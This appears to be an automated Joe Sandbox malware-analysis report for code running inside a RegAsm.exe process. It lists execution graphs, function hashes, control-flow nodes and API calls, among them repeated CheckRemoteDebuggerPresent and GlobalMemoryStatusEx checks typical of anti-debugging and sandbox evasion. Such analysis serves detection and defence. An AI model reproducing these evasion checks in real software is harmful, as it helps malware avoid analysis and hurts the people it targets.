                                                        • Opcode ID: 19db34da337dc2f07c0425bd0933e2accb0feb38f6b366e06d882f2f86d42ae3
                                                        • Instruction ID: 30cb6e9888c5a7b29238fa4c95d1cbd40dd233236a8cf1b630c568c80c690dbb
                                                        • Opcode Fuzzy Hash: 19db34da337dc2f07c0425bd0933e2accb0feb38f6b366e06d882f2f86d42ae3
                                                        • Instruction Fuzzy Hash: F9A1A0D7A0EBD65EF7526E3CBCB60D42F68EF6366531902F7D0D44F0D3A805680A8262

                                                        Execution Graph

                                                        Execution Coverage:11.7%
                                                        Dynamic/Decrypted Code Coverage:100%
                                                        Signature Coverage:2.4%
                                                        Total number of Nodes:126
                                                        Total number of Limit Nodes:14
                                                        execution_graph 37302 66b6e18 37303 66b6e5e GetCurrentProcess 37302->37303 37305 66b6ea9 37303->37305 37306 66b6eb0 GetCurrentThread 37303->37306 37305->37306 37307 66b6eed GetCurrentProcess 37306->37307 37308 66b6ee6 37306->37308 37309 66b6f23 37307->37309 37308->37307 37314 66b6fe8 37309->37314 37319 66b6ff8 37309->37319 37310 66b6f4b GetCurrentThreadId 37311 66b6f7c 37310->37311 37315 66b6fbc 37314->37315 37316 66b6ff6 37314->37316 37315->37310 37322 66b6b58 37316->37322 37320 66b7026 37319->37320 37321 66b6b58 DuplicateHandle 37319->37321 37320->37310 37321->37320 37323 66b7060 DuplicateHandle 37322->37323 37324 66b7026 37323->37324 37324->37310 37325 11b0848 37327 11b084e 37325->37327 37326 11b091b 37327->37326 37332 66b5d48 37327->37332 37337 66b5d03 37327->37337 37341 66b5d10 37327->37341 37345 11b1382 37327->37345 37333 66b5d2c 37332->37333 37334 66b5d52 37332->37334 37353 66b54c4 37333->37353 37338 66b5d10 37337->37338 37339 66b5d40 37338->37339 37340 66b54c4 2 API calls 37338->37340 37339->37327 37340->37339 37342 66b5d1f 37341->37342 37343 66b5d40 37342->37343 37344 66b54c4 2 API calls 37342->37344 37343->37327 37344->37343 37347 11b138b 37345->37347 37346 11b14aa 37346->37327 37347->37346 37414 11b6f9a 37347->37414 37419 11b6fa0 37347->37419 37424 11b8150 37347->37424 37428 11b8268 37347->37428 37435 11b8140 37347->37435 37354 66b54cf 37353->37354 37357 66b6c2c 37354->37357 37356 66b76c6 37356->37356 37358 66b6c37 37357->37358 37359 66b7dec 37358->37359 37361 66b9a68 37358->37361 37359->37356 37362 66b9a89 37361->37362 37363 66b9aad 37362->37363 37366 66b9c09 37362->37366 37370 66b9c18 37362->37370 37363->37359 37367 66b9c18 37366->37367 37368 66b9c5e 37367->37368 37374 66b895c 37367->37374 37368->37363 37371 66b9c25 37370->37371 37372 66b9c5e 37371->37372 37373 66b895c 2 API calls 37371->37373 37372->37363 37373->37372 37375 66b8967 37374->37375 37377 66b9cd0 37375->37377 37378 66b8990 37375->37378 37377->37377 37379 66b899b 37378->37379 37385 66b89a0 37379->37385 37381 66b9d3f 37389 66bef60 37381->37389 37395 66bef48 37381->37395 37382 66b9d79 37382->37377 37388 66b89ab 37385->37388 37386 66baee0 37386->37381 37387 66b9a68 2 API calls 37387->37386 37388->37386 37388->37387 37391 66bef91 37389->37391 37392 66befdd 37389->37392 37390 66bef9d 37390->37382 37391->37390 37400 66bf1c9 37391->37400 37403 66bf1d8 37391->37403 37392->37382 37396 66bef55 37395->37396 37397 66bef9d 37396->37397 37398 66bf1c9 2 API calls 37396->37398 37399 66bf1d8 2 API calls 37396->37399 37397->37382 37398->37397 37399->37397 37406 66bf218 37400->37406 37401 66bf1e2 37401->37392 37404 66bf1e2 37403->37404 37405 66bf218 2 API calls 37403->37405 37404->37392 37405->37404 37407 66bf239 37406->37407 37408 66bf25c 37406->37408 37407->37408 37412 66bf4c0 LoadLibraryExW 37407->37412 37413 66bf4b0 LoadLibraryExW 37407->37413 37408->37401 37409 66bf254 37409->37408 37410 66bf460 GetModuleHandleW 37409->37410 37411 66bf48d 37410->37411 37411->37401 37412->37409 37413->37409 37415 11b6fa0 37414->37415 37416 11b6fe4 37415->37416 37439 11b702a 37415->37439 37443 11b7038 37415->37443 37416->37347 37421 11b6fa7 37419->37421 37420 11b6fe4 37420->37347 37421->37420 37422 11b702a CheckRemoteDebuggerPresent 37421->37422 37423 11b7038 CheckRemoteDebuggerPresent 37421->37423 37422->37421 37423->37421 37426 11b8166 37424->37426 37425 11b82d2 37425->37347 37426->37425 37451 11bfb8f 37426->37451 37429 11b8272 37428->37429 37430 11b828c 37429->37430 37432 66cf700 2 API calls 37429->37432 37433 66cf710 2 API calls 37429->37433 37431 11b82d2 37430->37431 37434 11bfb8f 2 API calls 37430->37434 37431->37347 37432->37430 37433->37430 37434->37431 37437 11b8150 37435->37437 37436 11b82d2 37436->37347 37437->37436 37438 11bfb8f 2 API calls 37437->37438 37438->37436 37440 11b7038 37439->37440 37447 11b6924 37440->37447 37444 11b704e 37443->37444 37445 11b6924 CheckRemoteDebuggerPresent 37444->37445 37446 11b7081 37445->37446 37446->37415 37448 11b70b0 CheckRemoteDebuggerPresent 37447->37448 37450 11b7081 37448->37450 37450->37415 37452 11bfb9a 37451->37452 37456 66cf700 37452->37456 37460 66cf710 37452->37460 37453 11bfba1 37453->37425 37458 66cf725 37456->37458 37457 66cf93a 37457->37453 37458->37457 37459 66cfd58 GlobalMemoryStatusEx GlobalMemoryStatusEx 37458->37459 37459->37458 37462 66cf725 37460->37462 37461 66cf93a 37461->37453 37462->37461 37463 66cfd58 GlobalMemoryStatusEx GlobalMemoryStatusEx 37462->37463 37463->37462

                                                        Executed Functions

                                                        Function 066CC250 Relevance: 1.9, Strings: 1, Instructions: 643COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 47 66cc250-66cc272 48 66cc274-66cc277 47->48 49 66cc279-66cc27f 48->49 50 66cc28a-66cc28d 48->50 51 66cc285 49->51 52 66cc370-66cc376 49->52 53 66cc28f-66cc294 50->53 54 66cc297-66cc29a 50->54 51->50 55 66cc37c-66cc383 52->55 56 66cc5f2-66cc625 52->56 53->54 57 66cc29c-66cc2b6 54->57 58 66cc2bb-66cc2be 54->58 61 66cc388-66cc38b 55->61 73 66cc627-66cc62a 56->73 57->58 59 66cc2df-66cc2e2 58->59 60 66cc2c0-66cc2da 58->60 65 66cc30e-66cc311 59->65 66 66cc2e4-66cc309 59->66 60->59 62 66cc38d-66cc39e 61->62 63 66cc3a3-66cc3a6 61->63 62->63 68 66cc3cf-66cc3d2 63->68 69 66cc3a8-66cc3ca 63->69 71 66cc319-66cc31c 65->71 72 66cc313-66cc314 65->72 66->65 78 66cc3ee-66cc3f1 68->78 79 66cc3d4-66cc3e3 68->79 69->68 74 66cc31e-66cc321 71->74 75 66cc326-66cc329 71->75 72->71 80 66cc62c-66cc645 73->80 81 66cc656-66cc659 73->81 74->75 84 66cc32b-66cc32e 75->84 85 66cc333-66cc336 75->85 82 66cc404-66cc407 78->82 83 66cc3f3-66cc3f9 78->83 107 66cc3e9 79->107 108 66cc502-66cc505 79->108 127 66cc6db-66cc6e7 80->127 128 66cc64b-66cc655 80->128 87 66cc67c-66cc67f 81->87 88 66cc65b-66cc677 81->88 92 66cc428-66cc42b 82->92 93 66cc409-66cc423 82->93 90 66cc50f-66cc515 83->90 91 66cc3ff 83->91 84->85 94 66cc338-66cc35d 85->94 95 66cc362-66cc365 85->95 97 66cc696-66cc699 87->97 98 66cc681-66cc68f 87->98 88->87 90->56 103 66cc51b-66cc522 90->103 91->82 92->49 102 66cc431-66cc434 92->102 93->92 94->95 95->83 104 66cc36b-66cc36e 95->104 100 66cc69b-66cc6a5 97->100 101 66cc6a6-66cc6a9 97->101 98->80 131 66cc691 98->131 109 66cc6c9-66cc6cb 101->109 110 66cc6ab-66cc6c4 101->110 113 66cc448-66cc44b 102->113 114 66cc436-66cc43d 102->114 116 66cc527-66cc52a 103->116 104->52 104->61 107->78 115 66cc50a-66cc50d 108->115 120 66cc6cd 109->120 121 66cc6d2-66cc6d5 109->121 110->109 123 66cc44d-66cc45e 113->123 124 66cc463-66cc466 113->124 114->72 122 66cc443 114->122 115->90 115->116 125 66cc53c-66cc53f 116->125 126 66cc52c-66cc537 116->126 120->121 121->73 121->127 122->113 123->124 136 66cc46d-66cc470 124->136 137 66cc468-66cc46a 124->137 138 66cc5af-66cc5b2 125->138 139 66cc541-66cc5aa 125->139 126->125 134 66cc6ed-66cc6f6 127->134 135 66cc887-66cc891 127->135 131->97 142 66cc6fc-66cc71c 134->142 143 66cc892-66cc8c6 134->143 146 66cc47d-66cc480 136->146 147 66cc472-66cc478 136->147 137->136 140 66cc5b4-66cc5d0 138->140 141 66cc5d5-66cc5d7 138->141 139->138 140->141 148 66cc5de-66cc5e1 141->148 149 66cc5d9 141->149 174 66cc875-66cc881 142->174 175 66cc722-66cc72b 142->175 163 66cc8c8-66cc8cb 143->163 153 66cc4a1-66cc4a4 146->153 154 66cc482-66cc49c 146->154 147->146 148->48 157 66cc5e7-66cc5f1 148->157 149->148 159 66cc4cf-66cc4d2 153->159 160 66cc4a6-66cc4ca 153->160 154->153 161 66cc4fd-66cc500 159->161 162 66cc4d4-66cc4f8 159->162 160->159 161->108 161->115 162->161 166 66cca87-66cca8a 163->166 167 66cc8d1-66cc8df 163->167 172 66cca8c-66ccaa8 166->172 173 66ccaad-66ccaaf 166->173 177 66cc8e6-66cc8e8 167->177 172->173 178 66ccab6-66ccab9 173->178 179 66ccab1 173->179 174->134 174->135 175->143 180 66cc731-66cc760 call 66c6670 175->180 184 66cc8ff-66cc929 177->184 185 66cc8ea-66cc8ed 177->185 178->163 186 66ccabf-66ccac8 178->186 179->178 203 66cc7a2-66cc7b8 180->203 204 66cc762-66cc79a 180->204 198 66cca7c-66cca86 184->198 199 66cc92f-66cc938 184->199 185->186 201 66cc93e-66cca4d call 66c6670 199->201 202 66cca55-66cca7a 199->202 201->199 254 66cca53 201->254 202->186 210 66cc7ba-66cc7ce 203->210 211 66cc7d6-66cc7ec 203->211 204->203 210->211 218 66cc7ee-66cc802 211->218 219 66cc80a-66cc81d 211->219 218->219 226 66cc81f-66cc829 219->226 227 66cc82b 219->227 228 66cc830-66cc832 226->228 227->228 230 66cc834-66cc839 228->230 231 66cc863-66cc86f 228->231 232 66cc83b-66cc845 230->232 233 66cc847 230->233 231->174 231->175 235 66cc84c-66cc84e 232->235 233->235 235->231 236 66cc850-66cc85c 235->236 236->231 254->198
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: d
                                                        • API String ID: 0-2564639436
                                                        • Opcode ID: a0e372cc5733aea054cc23ec24ef6a0c8bfe2e9264f6850e563a53021b23e1c8
                                                        • Instruction ID: d3813c0c4a9e21470748965af01db4f1ae35e3886d20dcd5d753dc7206e5b031
                                                        • Opcode Fuzzy Hash: a0e372cc5733aea054cc23ec24ef6a0c8bfe2e9264f6850e563a53021b23e1c8
                                                        • Instruction Fuzzy Hash: 3B328030B106199FDB54DB68D990BBEB7B6FB88324F109529D80AEB345DB35DC42CB90
                                                        Function 066C5258 Relevance: 1.8, Strings: 1, Instructions: 595COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 255 66c5258-66c5276 256 66c5278-66c527b 255->256 257 66c527d-66c5283 256->257 258 66c528e-66c5291 256->258 259 66c5289 257->259 260 66c53ab-66c53ae 257->260 261 66c52b7-66c52ba 258->261 262 66c5293-66c52b2 258->262 259->258 263 66c53b3-66c53b6 260->263 264 66c52bc-66c52c2 261->264 265 66c52cd-66c52d0 261->265 262->261 267 66c53b8-66c53bb 263->267 268 66c53c0-66c53c3 263->268 269 66c53ee-66c53f8 264->269 270 66c52c8 264->270 271 66c530e-66c5311 265->271 272 66c52d2-66c52db 265->272 267->268 273 66c53d9-66c53dc 268->273 274 66c53c5-66c53ce 268->274 286 66c53ff-66c5401 269->286 270->265 277 66c532e-66c5331 271->277 278 66c5313-66c5329 271->278 275 66c52e1-66c52e9 272->275 276 66c5442-66c546b 272->276 283 66c53de-66c53e2 273->283 284 66c53e9-66c53ec 273->284 274->272 282 66c53d4 274->282 275->276 285 66c52ef-66c52ff 275->285 300 66c5475-66c5478 276->300 279 66c5345-66c5348 277->279 280 66c5333-66c5340 277->280 278->277 289 66c534a-66c535c 279->289 290 66c5361-66c5364 279->290 280->279 282->273 291 66c5434-66c5441 283->291 292 66c53e4 283->292 284->269 287 66c5406-66c5409 284->287 285->276 293 66c5305-66c5309 285->293 286->287 295 66c540b-66c5414 287->295 296 66c5415-66c5418 287->296 289->290 298 66c537a-66c537d 290->298 299 66c5366-66c5375 290->299 292->284 293->271 302 66c541a-66c541d 296->302 303 66c5422-66c5424 296->303 298->264 304 66c5383-66c5386 298->304 299->298 305 66c548c-66c548f 300->305 306 66c547a-66c5481 300->306 302->303 308 66c542b-66c542e 303->308 309 66c5426 303->309 310 66c5388-66c538d 304->310 311 66c5390-66c5393 304->311 316 66c54a0-66c54a3 305->316 317 66c5491-66c549b 305->317 314 66c555a-66c5561 306->314 315 66c5487 306->315 308->256 308->291 309->308 310->311 312 66c5395-66c539c 311->312 313 66c53a1-66c53a4 311->313 312->313 313->274 318 66c53a6-66c53a9 313->318 315->305 319 66c54c5-66c54c8 316->319 320 66c54a5-66c54a9 316->320 317->316 318->260 318->263 324 66c54ca-66c54d1 319->324 325 66c54d2-66c54d5 319->325 322 66c54af-66c54b7 320->322 323 66c5562-66c559c 320->323 322->323 328 66c54bd-66c54c0 322->328 335 66c559e-66c55a1 323->335 326 66c54d7-66c54db 325->326 327 66c54f3-66c54f6 325->327 326->323 329 66c54e1-66c54e9 326->329 330 66c54f8-66c54fc 327->330 331 66c5510-66c5513 327->331 328->319 329->323 333 66c54eb-66c54ee 329->333 330->323 334 66c54fe-66c5506 330->334 336 66c552d-66c5530 331->336 337 66c5515-66c5519 331->337 333->327 334->323 338 66c5508-66c550b 334->338 339 66c55af-66c55b2 335->339 340 66c55a3-66c55aa 335->340 342 66c5548-66c554a 336->342 343 66c5532-66c5543 336->343 337->323 341 66c551b-66c5523 337->341 338->331 346 66c55b4-66c55bb 339->346 347 66c55c0-66c55c3 339->347 340->339 341->323 348 66c5525-66c5528 341->348 344 66c554c 342->344 345 66c5551-66c5554 342->345 343->342 344->345 345->300 345->314 346->347 349 66c58ac-66c58af 347->349 350 66c55c9-66c575d 347->350 348->336 352 66c58b9-66c58bc 349->352 353 66c58b1-66c58b6 349->353 404 66c5896-66c58a9 350->404 405 66c5763-66c576a 350->405 352->350 354 66c58c2-66c58c5 352->354 353->352 356 66c58df-66c58e2 354->356 357 66c58c7-66c58d8 354->357 359 66c58e4-66c58f5 356->359 360 66c5900-66c5903 356->360 362 66c5905-66c5918 357->362 367 66c58da 357->367 359->346 368 66c58fb 359->368 361 66c591b-66c591e 360->361 360->362 361->350 366 66c5924-66c5927 361->366 370 66c5929-66c593a 366->370 371 66c5945-66c5948 366->371 367->356 368->360 370->346 382 66c5940 370->382 372 66c594a-66c595b 371->372 373 66c5966-66c5969 371->373 372->346 383 66c5961 372->383 375 66c596b-66c597c 373->375 376 66c5987-66c5989 373->376 375->359 386 66c5982 375->386 380 66c598b 376->380 381 66c5990-66c5993 376->381 380->381 381->335 385 66c5999-66c59a2 381->385 382->371 383->373 386->376 406 66c581e-66c5825 405->406 407 66c5770-66c5793 405->407 406->404 408 66c5827-66c585a 406->408 416 66c579b-66c57a3 407->416 420 66c585c 408->420 421 66c585f-66c588c 408->421 417 66c57a8-66c57e9 416->417 418 66c57a5 416->418 429 66c57eb-66c57fc 417->429 430 66c5801-66c5812 417->430 418->417 420->421 421->385 429->385 430->385
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: $
                                                        • API String ID: 0-3993045852
                                                        • Opcode ID: fdbe9cab23f24de7c9853ab83bf129fa60632730f232f09f96b44a91550ba1b7
                                                        • Instruction ID: d6f00bb859b0735a2ab5dbbcd6d546ec3c983e3360911a81e9667bffe3614508
                                                        • Opcode Fuzzy Hash: fdbe9cab23f24de7c9853ab83bf129fa60632730f232f09f96b44a91550ba1b7
                                                        • Instruction Fuzzy Hash: 4D22B071E006159FDF64DBA4C8406AEBBB2FF89320F24856AD856EB344DB35EC51CB90
                                                        Function 011B6924 Relevance: 1.6, APIs: 1, Instructions: 68COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 519 11b6924-11b7134 CheckRemoteDebuggerPresent 522 11b713d-11b7178 519->522 523 11b7136-11b713c 519->523 523->522
                                                        APIs
                                                        • CheckRemoteDebuggerPresent.KERNEL32(00000000,?), ref: 011B7127
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2699635991.00000000011B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_11b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID: CheckDebuggerPresentRemote
                                                        • String ID:
                                                        • API String ID: 3662101638-0
                                                        • Opcode ID: 6e3a66f842d7fd569262472cb368ad73b79be77451bea4815c283829163b2f62
                                                        • Instruction ID: 9fb9bdb4ad42ff1dcf17cf6db7c20167416de5902624a785b5528036a4f30aee
                                                        • Opcode Fuzzy Hash: 6e3a66f842d7fd569262472cb368ad73b79be77451bea4815c283829163b2f62
                                                        • Instruction Fuzzy Hash: 172139718002598FDB14DF9AD884BEEBBF4AF89210F14841AE455A3380D778A944CFA1
                                                        Function 066C66C0 Relevance: .8, Instructions: 818COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 9a12e332171c7525a70cf8057cf753473027a366c16e24705238ea7a770ef1a6
                                                        • Instruction ID: 7121caa8166ed88cdd2850e66a372c5c6ad50befe66dd1b9195e3da1acdedfa3
                                                        • Opcode Fuzzy Hash: 9a12e332171c7525a70cf8057cf753473027a366c16e24705238ea7a770ef1a6
                                                        • Instruction Fuzzy Hash: B1629C30B006158FDB54DB68D954BADBBF2EF88324F248469D806EB351DB35EC82CB94
                                                        Function 066CB2F0 Relevance: .6, Instructions: 579COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: a6fd214352edc617a224f87a33fcfd2635789d4b1c84fdee13749c00ab0a5f84
                                                        • Instruction ID: 6bccbb1c919249803adbc708ff54c0b37f78b45fe7fc55392f0bc79383808dd7
                                                        • Opcode Fuzzy Hash: a6fd214352edc617a224f87a33fcfd2635789d4b1c84fdee13749c00ab0a5f84
                                                        • Instruction Fuzzy Hash: DC227330E106098FEF64DBA9D4817BDB7B6EB89320F64852AE415EB355CB34DC81CB91
                                                        Function 066C3120 Relevance: .5, Instructions: 545COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 50676a84672e0a67ce1af1e23d04ddd42539be7eab46cc2b1534f8f8ba3d341b
                                                        • Instruction ID: 6d67208f681d2e59ee2d05916eba0d852ad01c482e8db97700abbcb4a2f578d8
                                                        • Opcode Fuzzy Hash: 50676a84672e0a67ce1af1e23d04ddd42539be7eab46cc2b1534f8f8ba3d341b
                                                        • Instruction Fuzzy Hash: 6A321031E1071ACFDB14EB65C850AADB7B2FFC9310F50C6AAD449B7254EB31A985CB90
                                                        Function 066C7E50 Relevance: .5, Instructions: 473COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714830973.00000000066C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066C0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66c0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 159aaf02de0aad0e6dd528395546aad7fa50fef7568d62e90d34d2e90e7100e5
                                                        • Instruction ID: f226f0e24ed9cb52760aa22ec855425be874c9324283a4e95e8b2434540f0ec6
                                                        • Opcode Fuzzy Hash: 159aaf02de0aad0e6dd528395546aad7fa50fef7568d62e90d34d2e90e7100e5
                                                        • Instruction Fuzzy Hash: 7A027D30B006168FDB64EF68D9547AEBBA6FF84220F14856DD816DB344DB35ED82CB90
                                                        Function 066B6E08 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • GetCurrentProcess.KERNEL32 ref: 066B6E96
                                                        • GetCurrentThread.KERNEL32 ref: 066B6ED3
                                                        • GetCurrentProcess.KERNEL32 ref: 066B6F10
                                                        • GetCurrentThreadId.KERNEL32 ref: 066B6F69
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714700527.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID: Current$ProcessThread
                                                        • String ID:
                                                        • API String ID: 2063062207-0
                                                        • Opcode ID: 225e34b491ac840dfa59204ed50a9edb07e030bc5adf49cb2aac9e64db0a96a8
                                                        • Instruction ID: 6f53adf3789cbeefc26ad7770f2178fb22cd1b44874994c9756b016f32848b1d
                                                        • Opcode Fuzzy Hash: 225e34b491ac840dfa59204ed50a9edb07e030bc5adf49cb2aac9e64db0a96a8
                                                        • Instruction Fuzzy Hash: 315135B0900349CFDB94DFAAD948B9EBBF2BF88314F208419E409A7350DB756984CF65
                                                        Function 066B6E18 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • GetCurrentProcess.KERNEL32 ref: 066B6E96
                                                        • GetCurrentThread.KERNEL32 ref: 066B6ED3
                                                        • GetCurrentProcess.KERNEL32 ref: 066B6F10
                                                        • GetCurrentThreadId.KERNEL32 ref: 066B6F69
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714700527.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID: Current$ProcessThread
                                                        • String ID:
                                                        • API String ID: 2063062207-0
                                                        • Opcode ID: e64e10f8472716ccd2dee0f0913a6ea93447a6ef4d3376d343778f01738a218e
                                                        • Instruction ID: 42e358315e8ad7468a5a4eeb464196e75f3d31cc2b5550dba46c555496320760
                                                        • Opcode Fuzzy Hash: e64e10f8472716ccd2dee0f0913a6ea93447a6ef4d3376d343778f01738a218e
                                                        • Instruction Fuzzy Hash: 255134B0900349CFDB94DFAAD948B9EBBF2BF88314F208419E409A7350DB756984CF65
                                                        Function 066BF218 Relevance: 1.7, APIs: 1, Instructions: 207COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 433 66bf218-66bf237 434 66bf239-66bf246 call 66be15c 433->434 435 66bf263-66bf267 433->435 442 66bf248 434->442 443 66bf25c 434->443 436 66bf27b-66bf2bc 435->436 437 66bf269-66bf273 435->437 444 66bf2c9-66bf2d7 436->444 445 66bf2be-66bf2c6 436->445 437->436 491 66bf24e call 66bf4c0 442->491 492 66bf24e call 66bf4b0 442->492 443->435 447 66bf2fb-66bf2fd 444->447 448 66bf2d9-66bf2de 444->448 445->444 446 66bf254-66bf256 446->443 449 66bf398-66bf410 446->449 450 66bf300-66bf307 447->450 451 66bf2e9 448->451 452 66bf2e0-66bf2e7 call 66be168 448->452 483 66bf412-66bf451 449->483 484 66bf454-66bf458 449->484 454 66bf309-66bf311 450->454 455 66bf314-66bf31b 450->455 453 66bf2eb-66bf2f9 451->453 452->453 453->450 454->455 458 66bf328-66bf331 call 66b799c 455->458 459 66bf31d-66bf325 455->459 464 66bf33e-66bf343 458->464 465 66bf333-66bf33b 458->465 459->458 466 66bf361-66bf36e 464->466 467 66bf345-66bf34c 464->467 465->464 474 66bf391-66bf397 466->474 475 66bf370-66bf38e 466->475 467->466 469 66bf34e-66bf35e call 66bdfd8 call 66be178 467->469 469->466 475->474 483->484 485 66bf45a-66bf45d 484->485 486 66bf460-66bf48b GetModuleHandleW 484->486 485->486 488 66bf48d-66bf493 486->488 489 66bf494-66bf4a8 486->489 488->489 491->446 492->446
                                                        APIs
                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 066BF47E
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714700527.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID: HandleModule
                                                        • String ID:
                                                        • API String ID: 4139908857-0
                                                        • Opcode ID: ad3ffe1631f69cc1c49e99f18a1f68d89cfa3215c97d309c38c0ef344c20f400
                                                        • Instruction ID: c9058111c12edac99b87348b6044b5d365aa39e6b1790744e01595633b7c4e87
                                                        • Opcode Fuzzy Hash: ad3ffe1631f69cc1c49e99f18a1f68d89cfa3215c97d309c38c0ef344c20f400
                                                        • Instruction Fuzzy Hash: 77815570A00B05CFD7A4DF6AD84479ABBF1BF88604F10892DD49AD7B50DB35E889CB91
                                                        Function 011BF2A8 Relevance: 1.6, APIs: 1, Instructions: 132COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 493 11bf2a8-11bf2c3 495 11bf2ed-11bf303 493->495 496 11bf2c5-11bf2ec 493->496 517 11bf305 call 11bf2a8 495->517 518 11bf305 call 11bf390 495->518 499 11bf30a-11bf30c 500 11bf30e-11bf311 499->500 501 11bf312-11bf371 499->501 508 11bf373-11bf376 501->508 509 11bf377-11bf404 GlobalMemoryStatusEx 501->509 513 11bf40d-11bf435 509->513 514 11bf406-11bf40c 509->514 514->513 517->499 518->499
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2699635991.00000000011B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_11b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID:
                                                        • API String ID:
                                                        • Opcode ID: 35e017303f2823f1f5378410631a94a46ff3d8c512eef4129afc1aa7448584a1
                                                        • Instruction ID: 3ede63aa842cb6de08474d7caa61361f5c698d8d44f4224acf57ff4eb1b3bb11
                                                        • Opcode Fuzzy Hash: 35e017303f2823f1f5378410631a94a46ff3d8c512eef4129afc1aa7448584a1
                                                        • Instruction Fuzzy Hash: CA410031E0439A8FCB04DFB9D8106AEBBB1AF89210F1485ABD544A7291DB789845CB90
                                                        Function 066B6B58 Relevance: 1.6, APIs: 1, Instructions: 65COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 526 66b6b58-66b70f4 DuplicateHandle 528 66b70fd-66b711a 526->528 529 66b70f6-66b70fc 526->529 529->528
                                                        APIs
                                                        • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,066B7026,?,?,?,?,?), ref: 066B70E7
                                                        Memory Dump Source
                                                        • Source File: 00000007.00000002.2714700527.00000000066B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066B0000, based on PE: false
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_7_2_66b0000_RegAsm.jbxd
                                                        Similarity
                                                        • API ID: DuplicateHandle
                                                        • String ID:
                                                        • API String ID: 3793708945-0
                                                        • Opcode ID: 786d63bfcab533c4bc021f1d7dc8ee1d7b4219c316fceec5347efda12ebaa1ca
                                                        • Instruction ID: b7ac1224e0604b7f3198a1b92bbeb2333adbc180962ceadc64d28276ce302761
                                                        • Opcode Fuzzy Hash: 786d63bfcab533c4bc021f1d7dc8ee1d7b4219c316fceec5347efda12ebaa1ca
                                                        • Instruction Fuzzy Hash: 2421D2B5900249DFDB10CFAAD884AEEBBF8EB48720F14841AE914A7310D775A954CFA5
